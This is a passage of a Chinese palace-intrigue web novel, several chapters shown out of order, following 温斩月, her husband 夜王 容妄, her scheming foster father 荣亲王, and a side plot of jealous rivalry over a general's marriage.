“都是命。”苏梨落颓然地坐在榻上,“故事的走向从一开始,就已经注定好了,不管我做什么,终究都是徒劳的。” 她没几日好活了,剩下的命还是放在关键节点,为她家阿月再博一次吧。 …… 江州城里,锣鼓喧天。 温斩月到了地方,便看到街上热闹异常,她随便找了个人问。 “大爷,城里发生什么事了,怎么这么热闹?” “你还不知道吗?”大爷神情激动,“我们少城主要娶媳妇了!” “少城主?” “对啊。”大爷十分健谈,一会儿就把家底全都说出来了。 “我们城主老来得子,最最在意的就是少城主了,只不过少城主长得实在是有点磕碜,好多人家的女儿都不愿意嫁给少城主。” “但最近也不知道是怎么什么运气,有个女子受伤,被少城主所救,那女子不嫌弃少城主的样貌,执意要跟少城主成亲,城主高兴坏了,下令全城热闹七日。” 大爷的话让温斩月有些疑惑。 按照大爷所说,这门婚事也来得太巧了,偏偏赶在她要来偷取城防图的节骨眼上,简直就像是为她量身定做的一般。 会不会容妄此行的目的,也是江州城呢? 温斩月来不及深想,她在城内找了一家客栈先住下,打算等到入夜后,亲自去城主府探一探。 入夜,城内安静一片。 温斩月换上夜行衣,朝着城主府的方向摸过去。 她住的客栈离城主府的距离并不算远,所以没花什么功夫便到了。 整个城主府张灯结彩,十分喜庆。 温斩月四处转悠,找到了传闻中的少城主白墨的房间。 她飞上房顶,揭开瓦片。 房内,白墨正坐在榻上,对着面前的书童长吁短叹。 “阿言,你说这婚事到底能不能成啊?”白墨捧着自己的脸,有些无奈地摇头,“我这样的人,是不会有人喜欢我的。” “少爷别乱说。”阿言急忙道:“您身份尊贵,冰冰姑娘能嫁给您,是上辈子修来的福气,您无需担忧。” “可我还是觉得有些奇怪。”白墨歪着脑袋。 “她之前说什么都不同意,突然间就松了口,我心里总觉得不踏实。” “或许是冰冰姑娘想通了呢。”阿言安抚道:“虽然少爷您的确长得一般,但毕竟是少城主呢,冰冰姑娘就算不为您的容颜心动,也会为您的钱心动。” “你还是少说两句吧。”白墨撇撇嘴,表示自己并没有被安慰到。 要说也真是奇了怪了,他父亲好看,娘亲好看,怎么就他不好看,从小他就怀疑自己的身份,现在更加觉得自己是捡来的孩子了。 见自家少爷颓废,阿言也收起了毒舌。 “别想那么多了,少爷虽然长得不怎么样,可您心地善良,救助了多少人,我相信冰冰姑娘是打心眼里喜欢少爷的。” “真的吗?”白墨抬眸。 “当然了。”阿言拍拍胸脯,“我什么时候欺骗过少爷啊。” “还记得当初,我家穷得揭不开锅,我父亲要把我卖了,是少爷收留了我,给我一口饭吃,这么多年,我虽然是个书童的身份,可在府中,我过得跟少爷一样的生活,这要是换了旁人,早就对我不满了。” “阿言……”白墨心中感动。 阿言眼底有些温热,他抹了一把眼眶,长出一口气。 “所以少爷别想太多,安心的等着迎娶冰冰姑娘,就算她现在不喜欢少爷,将来和少爷接触下来,也会为少爷动心的。” “谢谢你。”白墨由衷道。 阿言没再说什么,伺候白墨睡下,才从房里退出来。 房顶上的温斩月盖上瓦片,从黑暗中隐去。 如果按照白墨所说,那她猜得应当不错,这桩婚事的确有蹊跷,但具体如何?她还得去试探试探那位冰冰姑娘。 回到客栈,温斩月换下夜行衣,先睡下了。 第二日一大早,温斩月买了人皮面具,给自己稍微易容,让自己看起来没有那么扎眼。 随后便去找了城内的人牙子,给了人牙子一笔钱。 人牙子姓刘,经常做一些给城中权贵提供人力的买卖。 看到温斩月,他来回的转圈打量,精明的眼神里带着些许算计。 “你想去城主府做丫鬟?” “是。”温斩月点头。 刘牙子啧啧两声,目光看向别处,手却伸到了温斩月的面前。 “此事有点难办啊。” 温斩月掏出一锭银子放在刘牙子手里,“现在还难办吗?” “有点,但比刚才好办多了。”刘牙子双眼冒着精光。 温斩月又拿出一锭银子,“这是最后的钱了,若是您不能办,那我就换个人去办。” “能能能,这有什么不能的。”刘牙子一把抢过温斩月手中的银子。 “不就是去城主府当丫鬟吗?我今日就能将事情办妥。”刘牙子将钱塞到自己的怀里,“城主府的管事是我的远方表亲,塞进去一个人而已,很简单的。” “什么时候办妥?” “今日就行。” 刘牙子见钱眼开,当即便带着温斩月去了城主府,两人到了后门,也不知道刘牙子跟管事的说了什么,那管事竟然也真的没有阻拦,带着温斩月进去,吩咐嬷嬷给温斩月准备了丫鬟的衣服。 换上丫鬟的服饰,温斩月打算去看看,却被带她进来的容嬷嬷拦下。 “你要去做什么?” “初到府上,想要四处看看,免得不熟悉,冲撞了贵人。”温斩月低着头,说出来的话十分得体。 容嬷嬷冷哼一声,“别以为我不知道你是怎么想的,我告诉你,少城主婚期在即,这个节骨眼上,谁都不能出乱子。” “是。”温斩月点头。 “你就去伺候冰冰姑娘吧。”容嬷嬷嘴角带着一丝不怀好意的笑容。 “她将来可是我们的少城主夫人,你若是将她伺候的好了,以后在城主府的地位可就非同一般了。” “多谢嬷嬷提携。” 温斩月此番进府,就是要去试探一下这位冰冰姑娘。 她本以为还要费些时间,没想到容嬷嬷直接将冰冰姑娘送到了她的跟前,但温斩月并不觉得高兴,反而加深了心中的怀疑。 这一切,真的太顺利了。 温斩月离开后,容嬷嬷来到走廊拐角处,那里站着一个人影,正是容妄身边的侍卫青澜。 “交代你的事情可办妥了?” “青澜侍卫说的,老奴那里敢懈怠。”容嬷嬷满脸讨好的笑容。 “只不过这位姑娘到底什么来头?夜王殿下要花费心思做局来引她,为什么不直接将她拿下,好好审问。” “不该你管的事,你少操心。”青澜白了一眼。 荣亲王和朝廷多年来,一直都达到了一种微妙的平衡,此番突然那引出来消息,说荣亲王有谋逆之心。 如果荣亲王真的谋反,他家王爷早就带兵了。 可怕就怕这是荣亲王放出来的烟雾弹,若是他们先动手,反而不占理。说不定还会给荣亲王一个谋反的借口。 江州城这个地方十分特殊,荣亲王若是想要谋反,一定会嫌拿下江州。 但江州易守难攻,想要拿下,除非有明确的布防图。 荣亲王若是真的想要做点什么,肯定会盯上城主府的布防图,所以他家王爷才设下这么一个局,为的就是要瓮中捉鳖。 城主府南院,温斩月端着茶盘走进去。 “奴婢参见冰冰姑娘。”温斩月将茶盘放到一旁。 “你是新来的?”冰冰抬起头,上下打量了一眼。 温斩月点点头,“奴婢是今日刚入府的。” “你叫什么名字?”冰冰走过来,围着温斩月转了一圈。 温斩月将头压得更低了。 “奴婢名叫月落。” “月落?好名字。”冰冰回到榻上坐下,“过来,给我捶捶腿吧,我最近身体不太好,总是腿疼。” “是。”温斩月走进。 她伸出手在冰冰的腿上捏了捏,心下已经明了。 这个人会武功,绝不是白墨口中需要相救的女子,只怕从相救到以身相许,都是一场骗局。 这骗局是谁的手笔,她大概也猜得出来。 其实从义父要她来拿城防图的时候,她就有所怀疑。 义父想要城防图是真,要她跟容妄决裂也是真。 “你在想什么?”躺在榻上的人忽然开口。 温斩月垂眸,“奴婢只是在想,冰冰姑娘花容月貌,为何会答应嫁给少城主?” “人不可貌相,他虽然长得不怎么样,可是心地善良,值得我喜欢。”冰冰抬起温斩月的下巴。 “倒是你,长得不怎么样,也敢妄议主子的事情。”冰冰说完,眼中闪过一丝狐疑。 温斩月急忙扭过脸。 人皮面具再怎么逼真,也和真实的皮肤手感不同。 “是奴婢的错,奴婢这就出去领罚。”说完,也不等冰冰同意,温斩月便快速地从房间退了出去。 她走得那样着急,让榻上的人再次狐疑地皱起眉头。 …… 该探听的都已经清楚,温斩月便没有什么好逗留的,她找了一个人,戴上人皮面具来伪装她的模样留在城主府。 而她回到客栈后,便换回自己的真实样貌。 容妄想要设局抓她,那她干脆就不装了,玩一手明牌。 转眼间,婚期已到。 温斩月从客栈离开后,随便买了一份礼物,便朝着城主府而去。 青澜伪装成家丁在门口跟管事一起,盯着今日来参加婚宴的人,当目光看到自家王妃时,青澜眼睛都瞪大了。 但温斩月仿佛没看见,她将礼物扔到桌上。 “京都夜王府。”说完,也不管旁人的眼神,便直接走了进去。 管事偷瞄了青澜一眼,青澜也很懵逼,吩咐管事继续盯着,而自己则是去后院找自家王爷汇报去了。 “你说什么?”容妄猛地站起身来。 “阿月来了?” “是啊。”青澜一脸想不通这是为什么的表情,“我们走的时候,王妃还好好的待在王府,谁知道今日她会突然来了,属下自己都吓一跳呢。” “那个叫月落的丫鬟呢?”容妄追问。 青澜回道:“紫英派人盯着呢,好像跟普通的丫鬟没什么区别,但紫英说那丫鬟可能戴着人皮面具,她试过,手感跟真实的皮肤很不一样。” “王爷,您不会是怀疑王妃就是……” “不可能。”容妄反驳道:“阿月和荣亲王不会有关联。” “那现在怎么办?”青澜一脸为难。 “王妃突然出现在婚宴上,怕是会打乱我们的计划,万一荣亲王要是知道,王妃岂不是很危险?” “这点自保能力阿月还是有的。” 话虽这么说,但容妄心中还是不免有些担忧。 “本王的行踪不能暴露,你去想个办法,在不引人注目的情况下,把王妃引到本王身边来,有本王在,荣亲王找不到下手之机。” “对了,千万不能打草惊蛇,莫要让计划一场空。” “属下明白。”青澜点点头,“属下这就去把王妃带回来。” 青澜离开后院,不动声色地混入人群中,寻找自家王妃的身影。 而此时的温斩月已经把周围的环境都摸了个遍,她眼角的余光瞥到青澜朝自己走来的时候,眼神下意识的深邃。 为了显得不那么刻意,温斩月故意看向别处。 第52章 我会给你续命 温斩月没有回答容妄的话。 她执意离开,容妄要也没有再阻拦。 临行前一夜,他本来也有很多事情要去安排处理。 温斩月买了生息粉的原料,连夜将生息粉赶制出来,第二日,她甚至都没有见容妄,而是让春夜将东西交给青澜。 青澜知道自家王妃置气,但事发突然,他也不好说什么。 “王爷,王妃虽然生气了,可属下瞧着这生息粉的分量能用足足四个月呢,王妃这是怕王爷回不来,特意多做了一个月的。” “她是心疼本王的。”容妄看了一眼生息粉。 “走吧,早去早回。” 容妄和青澜策马离开,人刚走,春夜便去锦绣阁汇报了。 “王妃,王爷走了。” “本宫知道了。”温斩月端坐榻前,算着时间。 “把良辰美景唤来。” “是,王妃。”春夜下去,很快将良辰美景带了回来。 温斩月目光在三人的面前扫了一眼。 “如今本宫能信任的只有你们了。”温斩月从一旁拿出一张人皮面具递给良辰。 “你与本宫身形相似,本宫要你从今日起,开始扮演本宫。” “什么?”良辰惊讶地抬起头,“这万万使不得啊,奴婢怎么能扮演王妃呢,这要是被人发现了……” “被人发现就以死谢罪吧。”温斩月打断。 “本宫要去做件事,要不是你会武功,扮演起来最像,本宫也不会找你,你别忘了,美景的解药还捏在本宫的手里。” 良辰迟疑了下,走上前,接过面具。 “奴婢要演多久?” “三月以上。” “这么久?”良辰心中疑惑,却不敢多问,“奴婢知道了,不过奴婢有一事相求,希望王妃可以应允。” “三月后,解药给你。” “王妃说到做到。”良辰没再推辞。 温斩月将王府的账本递给春夜。 “你跟在本宫身边的时间最久,对于王府的事情也了解得最清楚,本宫走后,王府就交给你了,明面上听良辰的吩咐,但暗地里你自己拿主意。” “奴婢不行。”春夜连连摆手。 “这些事情都是梨落姑娘来做的,奴婢哪里会?王妃还是交给旁人吧。” “梨落有她自己的事要做。”温斩月强硬地将手中的账本塞给春夜。 “和良辰一样,坚持三个月,本宫自然有赏。” “那奴婢试试吧。”春夜将账本接下。 温斩月从旁边拿出一个单子递给美景。 “你做事细心,从中辅佐她二人,接下来最重要的事就是风展将军和林清霜的婚事,该怎么做的,本宫一一列在单子上了,你们三人务必齐心,照看好王府。” “那,王妃要去做什么?”美景接过单子,小声询问道。 温斩月垂眸,过了许久,才缓缓开口。 “本宫要去做,本宫该做的事。” 吩咐好王府一切事宜,温斩月给东六街珍宝楼去了一份书信,她不确定梨落是否能收到,但还是写了。 在信中,她跟梨落道了歉。 希望梨落大人不记小人过,等到她回来的时候再赔罪。 随后,便牵着星芒离开了京都城。 送给容妄的生息粉里有她添加的香素,人是闻不到这种味道的,只有她养的寻香蝶可以。 有寻香蝶引路,不怕她找不到容妄。 …… 温斩月的书信送到了珍宝楼,梨落并没有收到。 这份书信落在了上官白的手里。 自那日梨落离开后,就再也没有回来,她给红袖和添香吩咐过,有掌柜印信的人就是新的老板。 红袖一直以为会是夜王妃呢。 没想到来的人是上官白。 珍宝楼,二楼雅间。 红袖将信送了上去,“梨落老板不在,这信只能交给小公爷了。” “出去吧。”上官白摆摆手。 他今日来就是翻阅东六街的账本的。 梨落突然把东六街送给他,这让他有些猝不及防,虽然梨落后面又提出了新的条件,但是他还是觉得这是个火坑。 但账本里,盈利颇多,没有漏洞。 合上账本,上官白拿起了桌上的书信,虽然不经过别人的允许偷看别人的信件是不道德的。 可现在梨落不在,万一夜王妃有什么要紧事呢。 他的附加条件里可是答应了梨落,无论将来发生什么事情,他都要站在夜王妃的身后,东六街赚的钱,也要一分不少的分给夜王妃一半。 说服了自己,上官白便拆开了信封。 看到信里面的内容,上官白的脸色也变了。 虽然他平日最痛恨容妄,可容妄是天月王朝的定海神针,他突然离京,没有一个人知道,肯定是发生什么大事了。 不行,他得进宫一趟,从姑母嘴里问出点什么。 温斩月骑着星芒一路狂奔。 沿着寻香蝶的方向,她一边走,一边停歇,控制好跟踪的距离。 但随着时间变长,温斩月心中的不安终于被确认。 容妄要去的地方是边疆,但边疆是义父的地盘,容妄要去做什么她不知道,但她猜得出来,肯定和义父有关。 难道是义父嫌她进度太慢,特意设局,引容妄前去吗? 义父的手段她清楚,容妄若是落到义父手里,定然是求生不得求死不能。 她必须要提前赶到。 想到这里,温斩月干脆抄了近路。 只要她先容妄一步到了边疆,一切就还有转圜的余地。 …… 边疆,荣王府。 后花园里,苏梨落坐在秋千上,闲来无事地晃动着双腿。 自从跟上官白交代完事情后,她便回家了。 也不知道她家阿月过得如何了?会不会怪她不辞而别?更加不知道上官白有没有违背他们的约定。 “郡主。”丫鬟粥粥走过来,“王爷派人送来了一批画像,说是要郡主今日无论如何都要挑出一个能成亲的人来。” “都要死了还成亲做什么。”苏梨落无精打采。 “呸呸呸。”粥粥急忙拍拍嘴。 “郡主莫要胡说八道,这上好的年纪,怎么动不动就生啊死的,郡主以后定会长命百岁的。” “你不懂。”苏梨落将目光看向远处天空中自由飞翔的鸟儿。 她最快乐的日子就是待在阿月身边的时候,只有那个时候,她才是真正的梨落,能做自己想做的事,能爱想爱的人。 但回到这里,她就是郡主苏梨落。 自由,不存在的。 长命百岁,更不可能。 “粥粥啊。”苏梨落从秋千上跳下来,满眼悲凉。 “以后你就要去伺候别人了,也不知道你下一个主子会不会像我一样温柔,对你这么好。” 粥粥:“……” 自从郡主回来后,就一直怪怪的。 看来王爷说的的确没错,京都城的风水不对,谁去一趟都得疯。 晚些时候,苏梨落用了晚膳便回房歇着。 荣亲王从外面回来,只能看到自家女儿无精打采地躺在床上,一动不动。 “那些画像上的人都不喜欢?”荣亲王坐在床边,轻声询问道。 苏梨落不想回答,干脆捂住了耳朵。 荣亲王也不恼,耐着性子道:“你也年纪不小了,总不能跟在阿月身边一辈子,她是你的姐妹,不是你的夫君,你这一辈子也不能一直围着她转。” “父亲说的好生可笑。” 苏梨落从床上坐起来,“不是我要围着阿月转,是我和阿月都围着父亲您转,您要我们去京都我们就去京都,您要我们回来就要我们回来,何曾问过我们喜欢什么?我们想要什么?” “利用就说利用,何必演什么父慈女孝的戏码。” “阿月吃您这一套,但我不吃。” 苏梨落一口气说了这么多,但荣亲王一点都不生气,反而笑了笑。 “这是你从京都城里回来后,和为父说得最多的一次。” “装什么?”苏梨落的确不吃这一套,“你对着阿月挟恩以报,但这招对我不管用,您要是看不惯我,大可让我滚,实在不行,杀了我也行,反正烂命一条,我也没在怕的。” 苏梨落说完,重新躺下去背过身。 荣亲王叹了口气,伸出的手在半空中停顿一下,又缩了回去。 “为父知道你是因为当年你母亲的事情恨我,但过去的事情都已经过去了,这些年为父也不曾管过你,放任你自由了这么多年,你还有什么不满?” “父亲放过阿月,我就满意。” “那不可能。”荣亲王想都没想便否决了。 “你与我是血亲,这自然是旁人比不得的,但阿月是我捡回来的,当年捡回来时,她便已经有了她该有的用处。” “为父知道你不开心,没关系,过两天,阿月也该回来了。” 苏梨落猛地从床上坐起来。 “你又做了什么?” “没什么。”荣亲王依旧得体地笑着,“只是使了一点手段,让圣上将夜王派遣到了边疆。” “阿月那么喜欢夜王,不会任由他一个人,独自来冒险的。” 苏梨落如遭雷击,愣在原地。 这段剧情她当然熟悉了,可这是半年后的剧情啊,怎么会提前提上来,到底是什么东西影响了剧情?为什么剧情会被加速? 明明阿月还有半年的日子好过。 梨落很想脱口而出,问个清楚,可手臂上钻心的疼痛强迫她闭嘴。 她只能冷着脸,不去看眼前这个满心算计的男人。 大抵是察觉了女儿不愿意见到自己,荣亲王也没待多久便离开了房间。 荣亲王一走,梨落瞬时一口鲜血喷涌而出。 …… 星芒不愧是一批良驹。 温斩月最终还是赶在容妄之前,来到了边疆。 回到荣亲王府,温斩月将星芒交给下人牵走,自己则是直奔王府的书房而去。 刚一推开门,就看到荣亲王不悦的眼神扫过来。 “夜王妃当久了,便不知道自己几斤几两了吗?”荣亲王将手中的折子朝着温斩月扔过去。 温斩月跪下去,低头请罪。 “义父恕罪。” “哼。”荣亲王冷嗤一声,便不再理会温斩月。 温斩月一直跪到晚上,荣亲王才慢悠悠地放下手中的折子。 “若你是为了夜王求情,那大可不必。”荣亲王起身,走到温斩月的面前,将人扶了起来。 “想必你也知道义父的心思,若你能说服容妄,让他归于义父麾下,那你们俩的事情,义父不会掺和。” “义父。”温斩月抬眸。 “我愿意为您做一切的事,但容妄不能动。” “你对他还真是痴心。”荣亲王眼里带着一丝怜悯,“既然如此,你去帮本王做另外一件事,做成功了,你和夜王都可以安然无恙地回到京都城去。” “义父请说。” “我要江州城的布防图。”荣亲王冷声道:“三日,就给你三日的时间,若你拿不到,那夜王必死无疑。” “义父放心,三日城防图不到,阿月的首级便放在义父的书桌上。”说着,温斩月头也不回地离开书房。 苏梨落找来时,只能看到温斩月离开的背影。 “糟了!”苏梨落暗道一声,她刚要追出去,就被王府的侍卫们拦住。 “让开,我可是郡主,你们想以下犯上吗?” “郡主别为难小的。”侍卫们面面相觑,但就是没有一个人肯让开。 “是王爷吩咐的,在斩月郡主没有回来之前,郡主您哪里都不准去。” “放肆!”苏梨落气急。 “这么生气做什么?”荣亲王从身后走过来,“阿月已经去做她该做的了,你拦也拦不住的。” 苏梨落停下来,她转过身,盯着自己所谓的父亲。 “我只问你一句,容妄来边疆是不是个幌子?他人其实在江州城对不对?” 荣亲王等了片刻,轻笑出声。 “不愧是本王的女儿,就是聪明,若你是个男子,本王也算是后继有人,但偏偏……” “你真阴险。”苏梨落打断荣亲王的话。 “阿月为你做了这么多,她只要一个容妄,为什么你连这个都要毁掉?” “一把刀是不该有感情的。”荣亲王冷下脸来。 “从一开始,容妄就该是温斩月这把刀最好的磨刀石,他只能让这把刀更加锋利,而不是给她套上刀鞘,让她收敛杀心。” “她叫了你这么多年的义父,你就一点都不动容?” “你也叫了我多年的父亲,你呢?有真的把我当成是父亲吗?”荣亲王凉凉道。 第53章 大战黄金巨蟒 苏皖书只是想知道其中缘由,但在林轻盈的耳朵里却像是一个质问,她狠狠道:“怎么可能?林清霜那个丑八怪正常男人都不可能会喜欢她,你难道忘了之前京都城里的流言了?” “丑人多作怪,她就是用了上不了台面的手段,逼得风展将军必须娶她,我爹还为此发了好大一通火呢。” “你呀就是太单纯了,才会被骗,谁知道这不是风展将军为了应付差事,毕竟林清霜和夜王妃关系不错,看在夜王殿下的面子上,风展将军装也要装得像一点的。” 林轻盈的话让苏皖书频频皱眉。 她强忍着不适,打断了林轻盈的高谈阔论。 “别提这些了,今日你我出门是来逛街的,何要必因为旁人伤了和气。” “我就是有些气不过。”林轻盈跺了跺脚。 “她那狐媚样子跟她娘真是如出一辙!” “够了。”苏皖书冷下脸来,“她长得那样丑,怎么用狐媚手段,况且在众目睽睽之下,她身为尚书府的小姐,半点分寸没有吗?” “她要是有分寸,又岂会做出当众勾引风展将军的事来。” “那你要如何?”苏皖书反问,“轻盈,你以前不是这样的,就算对林清霜颇有微词,也只是嘲讽几句,如今怎么一口一个下作,这是一个官家小姐该说出来的话吗?” “我……”林轻盈一时语塞。 今时不同往日。 以前林清霜在她面前只有吃瘪的份,她虽然是庶女,但处处压林清霜这个嫡女一头。 可现在呢? 林清霜过得这般滋润,她心里怎么能舒服? “今日就先到这里吧。”苏皖书逛街的心情被打搅,懒得再去跟林轻盈掰扯。 赏花宴的事她做得不好,挨了父亲好一顿骂。 本来想着出来散散心,没想到又与林轻盈发生争执,此时心里更是烦躁的压不下去火。 眼瞅着苏皖书是真的生气了,林轻盈这才慌起来。 她身边的好友也就苏皖书的地位高一些,她还要靠着苏皖书在京都贵女圈子里混呢。 得罪了苏皖书,她没有好果子吃。 “是我错了,是我错了还不行吗?你就别生气了好不好?”林轻盈追上苏皖书,满脸的讨好。 以往这个时候,只要林轻盈再发发力,卖卖惨,苏皖书肯定就心软了。 今日也不知道是怎么了,或许心中本就烦躁,苏皖书竟然破天荒的没有再搭理林轻盈,直接上了马车,头也不回地走了。 苏皖书一走,林轻盈脸上的表情彻底地绷不住了。 她看向街上的林清霜和风展,怒火燃烧了理智,想都没想,便直接朝着两人冲了过去。 “林清霜你这个贱人!都怪你!” 林轻盈出现的猝不及防,对着林清霜就是狠狠一巴掌。 “你这个丑八怪,怎么敢当街勾引风展将军!” 林轻盈用了很大的力气,巴掌落到林清霜的脸上,也扯掉了林清霜脸上的面纱。 林轻盈是故意的。 她就是想要林清霜当众出丑,要风展看清楚,自己要娶的人是个怎样丑陋的女子。 可面纱摘下,那张脸却跟她想的大不相同。 “这,怎么会?你的脸……”林轻盈瞪大了眼,似乎不敢相信眼前的这一幕。 风展也惊呆了。 “霜儿,你……” 林清霜急忙捡起面纱重新给自己戴上。 “我不是故意要骗你的,我是想等到新婚之夜你掀起盖头的时候,给你一个惊喜,我没想到……” “没事。”风展安抚语无伦次的林清霜。 他将人护在身后,目光不善地盯着前来捣乱的林轻盈。 “林二小姐是想尝尝我手中刀的滋味吗?”风展语气阴狠,“我手里可杀过不少的人,不差林二小姐一个。” “你疯了吗?”林轻盈嘴硬道。 “也不知道她用了什么法子才变了脸,但我知道,肯定是妖术,你要跟这个妖女在一起,以后怎么死的都不知道呢。” “这就不劳林二小姐费心了。”风展毫不客气道。 “以后还请林二小姐管好自己的事,否则,今日这一巴掌,本将军迟早会替夫人讨回来。” 从小到大,林清霜从来都没有被人这么护着过。 上一个给她撑腰的人还是夜王妃。 “我没事的。”林清霜眼里湿润,“将军莫要生气了。” “怎么会没事?”风展对着林清霜时,眼神温柔,语调都不自觉的软了下来。 “刚才那一巴掌那么响,肯定痛死了。” “真的没事。”林清霜看了一眼气到跳脚的林轻盈。 “将军,我们去别处吧,别让旁人扫了兴致。” “都听你的。”风展瞧都没瞧林轻盈一眼,牵着林清霜的手就朝着别处走去。 林轻盈本想着让林清霜在大庭广众之下出丑,没想到却让风展越发心疼的林清霜,她想着替嫁一事,心中越发委屈。 若是风展心中已经有了林清霜这个丑八怪,就算她嫁过去,也无法俘获风展的心。 出了这档子事,林轻盈哪里还有心思逛街。 回到府上后,发了好大一通脾气,手底下的丫鬟们劝不住,只能把张氏找来。 这两日张氏也头疼呢,一进屋看到自家女儿把东西摔得满地都是,本来就没好的头疼病又加重了。 “小祖宗,你又在闹什么?”张氏看着无处落脚的地面,神情不悦。 “不是和苏小姐去逛街了吗?怎么一个人回来了?” “别提了!” 林轻盈把刚才发生在东六街的事情全都说了一遍,越说越觉得自己心中委屈。 但这些话落在张氏的耳朵里,却越发的心惊。 “你是说林清霜变好看了?” “可不是嘛。”林轻盈手里捏着帕子,“也不知道她使用了什么妖术,竟让她的那张脸变得漂亮起来,就连风展将军都被她迷得神魂颠倒,若是以后我嫁过去,肯定还是要受气的,娘,你快想想办法,我可不想嫁过去,夫君心里还装着旁人。” “你也是个蠢货。”张氏气不打一处来。 “我早就说过小不忍则乱大谋,你真应该好好收收你的性子。” “我本来是要她当众出丑的,谁知道会发生这样的事。”林轻盈委屈巴巴地掉着眼泪,“娘,你得帮帮我,不然女儿就不活了!” 张氏本来就头疼得要命,见宝贝女儿这么闹,心中更烦了。 “够了,别吵了!”张氏怒吼一声。 “这些年,为了栽培你,我将全部的心思都用在了你一个人的身上,琴棋书画,赏花品茶,林清霜这个丑八怪有的,你一样不差,可你看看你,身上哪里还有半点大家闺秀的样子,反倒是林清霜,举手投足比你更像一个千金小姐!” “以前,你还能仗着比她好看而处处压她一头。” “但如今她唯一的弱点没了,以后你在她的面前,只会被她压制得死死的,再也抬不起头来!” “你还要我帮你?我问问你,我还要如何帮你?我就差把这条命给你了,是你自己不学好,现在后悔也晚了!” 张氏从来都没有对女儿说过这么多的狠话。 林轻盈懵了。 她眼泪巴巴地盯着自己的娘亲,想哭又不敢哭出声,委屈巴巴,可怜兮兮。 张氏心疼了,她缓和了情绪,耐着性子道:“你别怪娘亲凶你,如今你已经长大了,是时候为娘亲分担一些了,若以后还是这样使小性子,将来就算你嫁给风展将军,你也没有什么好日子过。” “娘不可能陪你一辈子的,你要学会为自己盘算。”张氏摸摸女儿的头。 “听话,明日先去备上一份厚礼给苏小姐赔罪,她是苏相的千金,能与你一起做闺中密友,已经是十分看得起你了,只要紧紧将她抓在手里,京都城里的贵女圈,定然有你的一席之地。” “至于其他的,你就不用管了,娘亲自会为你安排好一切。” 从房间离开,张氏眼中的狠辣再一次浮现。 她本来是想留着林清霜母女俩的狗命,反正只要她的轻盈嫁给风展将军,一切成为定局,天王老子来了也逆转不了。 可现在林清霜变得好看了,风展将军又对林清霜这个贱人情有独钟。 她只能想想法子,以绝后患。 …… 温斩月回到宅院,只有谢洲白一个人。 她问过谢洲白,梨落已经两日没有回府了。 “东六街的生意正好,梨落姑娘忙一点也是正常的,王妃不必担心。”谢洲白说着,动手收拾自己的衣物。 他的伤已经好得差不多了,是时候离开。 “本宫去东六街寻过她,她不在。” “那可能是去忙别的事情了吧。”谢洲白系好包袱,“梨落姑娘那么大的一个人了,做事情肯定有自己的打算,说不定过两天忙完了,梨落姑娘会自己去找王妃呢。” “你要走?”温斩月看着谢洲白整理好包袱。 “这里住得不舒心?” “挺好的。”谢洲白背着包袱。 “但这里毕竟不是我的家,叨扰多日已经是在下失礼了,若是继续住下去,在下和那些蛀虫又有何不同?” 温斩月当时救谢洲白并不为别的。 如今看到谢洲白要走,她也没有过多挽留。 “月公子的恩德在下不敢忘,将来若是王妃有用得着在下的,在下一定义不容辞。”说完,谢洲白点点头,背着包袱离开了宅院。 谢洲白一走,原本就空旷的地方,更加的没什么人气了。 温斩月转悠了一圈,直接翻墙回到了王府。 春夜锦绣阁的门前来回晃悠,看到自家王妃回来,急忙迎上去。 “王妃你可算是回来了,王爷在里面等着您呢。” “知道了。”温斩月略过春夜,直接迈入锦绣阁。 本以为容妄还在为了玄铁铠甲的事情生气,可温斩月刚一进去,就被容妄紧紧地搂在怀里。 “发生什么事了?”温斩月轻声开口。 容妄松开温斩月,眼底柔情浓到化不开。 “本王要离开一段日子。” “什么时候走?” “明日。” “这么快?”温斩月皱起眉头,“王爷要去做什么?” 容妄紧抿着唇,没有回答。 温斩月目光紧盯,“再过几日就是风展将军的婚期了,王爷此时要走,是连他的婚礼都不参加了吗?” “你不是替本王准备了贺礼吗?”容妄在温斩月的额头落下一吻。 “本王会早点回来的。” “所以,是秘密任务吗?”温斩月还是忍不住问出了口。 “圣上没事不会召你入宫的,你在宫里待了这么久,肯定是有事发生。” “是。”容妄点头。 “但本王不能告诉你。” “那带上臣妾。”温斩月抓紧容妄的衣领。 “不管王爷去哪里,都带着臣妾。” “不行。”容妄挣脱开来,“你要留在京都,替本王照看王府,还有风展的婚礼,你也要参加。” “那王爷带青澜吗?” “带。”容妄毫不犹豫道:“青澜留在府上无用,本王会带走他。” 温斩月长呼一口气,“既如此,那王爷来找臣妾还有何事?” “本王想在临行之前见见你,另外,就是生息粉不够本王接下来……” “臣妾知道了。”温斩月打断。 “王爷放心,生息粉明日一早备好,一月够吗?” 容妄摇摇头。 “三月?”温斩月冷声:“要这么久?” “此次任务艰难,绝非一朝一夕能成,三月已是极限。”容妄牵起温斩月的手,放在自己的心口。 “你放心,本王定会早点回来。” “臣妾知道了。”温斩月低身行礼。 “生息粉的原料没有了,臣妾亲自去买。” “最后一晚,你也要与本王分开吗?”容妄知道他家阿月这是在生气,可是他要走,也是无可奈何的事情。 若不是边疆出了事,他…… 容妄心里怎么想的温斩月不想管,她因为梨落的事,心里已经慌乱一片,此时容妄又要离开京都,所有不好的预感都朝着她砸过来。 她能感觉得出来,有些事情变了。 但如何变的?变成什么样了?她一概不知。 这种失控的感觉,才是真正让她心中不舒服的源头。 第3章 下毒 温斩月收了印信和钥匙,并不急着接管府中事务。 她命人做了八菜一汤,等着容妄前来用膳。 到了晌午时分,容妄连个影子都没露。 温斩月也不恼,只是让春夜找来食盒,把饭菜一一收起来,“山不就我,我便去就山。” 温斩月拎着食盒走出锦绣阁,来到书房外。 侍卫青澜上前,伸手拦住去路。 “王妃请回吧,书房乃是王爷办公重地,除了王爷,其他人等一概不得入内。” “再忙也要用膳。”温斩月不再向前。 青澜伸出手,正欲接过食盒,眼前人却往后退了半步。 青澜蹙眉,“王妃,这是何意?” “本宫来找王爷用膳,膳食,本宫,缺一不可。” “那王妃恐怕要竹篮打水一场空了。”青澜嗤笑,“我家王爷从不与人一起用膳,从前没有,今后也不会有。” “这可说不准。”温斩月挑眉。 “从前王爷孑然一身,独来独往,可今时不同往日,本宫既已嫁他,便不会再让他独自一人。”顿了顿,温斩月再道:“本宫也劝你习惯些吧,以后使唤你的人,可不是只有王爷了。” 书房外的声音不大不小,刚好能被房内的容妄听到。 他皱着眉,心中莫名烦躁。 听到有人上台阶的声音,他随手抓起手边的笔向着门外射出去。 书房的门被人推开,笔锋擦着温斩月的发丝而过。 可温斩月稳稳当当,手里的食盒半点没动。 她娇俏一笑,仿佛刚才什么都没发生,“王爷,该用膳了。” 